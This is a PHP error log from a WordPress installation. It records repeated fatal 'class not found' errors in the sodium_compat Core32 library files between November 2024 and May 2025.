[19-Nov-2024 00:33:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[19-Nov-2024 00:33:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[19-Nov-2024 00:33:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[19-Nov-2024 00:33:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[19-Nov-2024 00:33:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[19-Nov-2024 00:33:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[19-Nov-2024 00:33:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[19-Nov-2024 00:33:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[19-Nov-2024 00:33:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[19-Nov-2024 00:33:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[19-Nov-2024 00:33:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[19-Nov-2024 00:33:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Feb-2025 02:14:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[02-Feb-2025 02:14:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[02-Feb-2025 02:14:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Feb-2025 02:14:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Feb-2025 02:14:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[02-Feb-2025 02:14:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[02-Feb-2025 02:14:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[02-Feb-2025 02:14:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[02-Feb-2025 02:14:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[02-Feb-2025 02:14:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[02-Feb-2025 02:14:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[02-Feb-2025 02:14:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[02-Feb-2025 02:14:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[22-Feb-2025 06:19:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[22-Feb-2025 06:19:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[22-Feb-2025 06:19:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[22-Feb-2025 06:19:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[22-Feb-2025 06:19:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[22-Feb-2025 06:20:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[22-Feb-2025 06:20:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[22-Feb-2025 06:20:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[22-Feb-2025 06:20:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[22-Feb-2025 06:20:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[22-Feb-2025 06:20:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[22-Feb-2025 06:20:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[22-Feb-2025 06:20:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[29-Mar-2025 09:59:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[29-Mar-2025 09:59:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[29-Mar-2025 09:59:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[29-Mar-2025 10:00:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[29-Mar-2025 10:00:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[29-Mar-2025 10:00:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[29-Mar-2025 10:00:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[29-Mar-2025 10:00:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[29-Mar-2025 10:00:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[29-Mar-2025 10:00:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[29-Mar-2025 10:00:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[29-Mar-2025 10:00:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[29-Mar-2025 10:00:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[13-May-2025 09:58:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[13-May-2025 09:58:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[13-May-2025 09:58:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[13-May-2025 09:58:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[13-May-2025 09:59:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[13-May-2025 09:59:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[13-May-2025 09:59:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[13-May-2025 09:59:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[13-May-2025 09:59:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[13-May-2025 09:59:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[13-May-2025 09:59:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[13-May-2025 09:59:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[13-May-2025 09:59:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[13-May-2025 09:59:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[13-May-2025 09:59:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[13-May-2025 09:59:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[13-May-2025 09:59:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[13-May-2025 09:59:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[13-May-2025 09:59:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[13-May-2025 09:59:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[13-May-2025 09:59:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[13-May-2025 09:59:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[13-May-2025 09:59:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[13-May-2025 09:59:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[13-May-2025 09:59:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[13-May-2025 09:59:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[13-May-2025 09:59:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[13-May-2025 09:59:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[13-May-2025 09:59:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[13-May-2025 09:59:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[13-May-2025 09:59:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[13-May-2025 09:59:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[13-May-2025 09:59:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[13-May-2025 09:59:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[13-May-2025 09:59:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
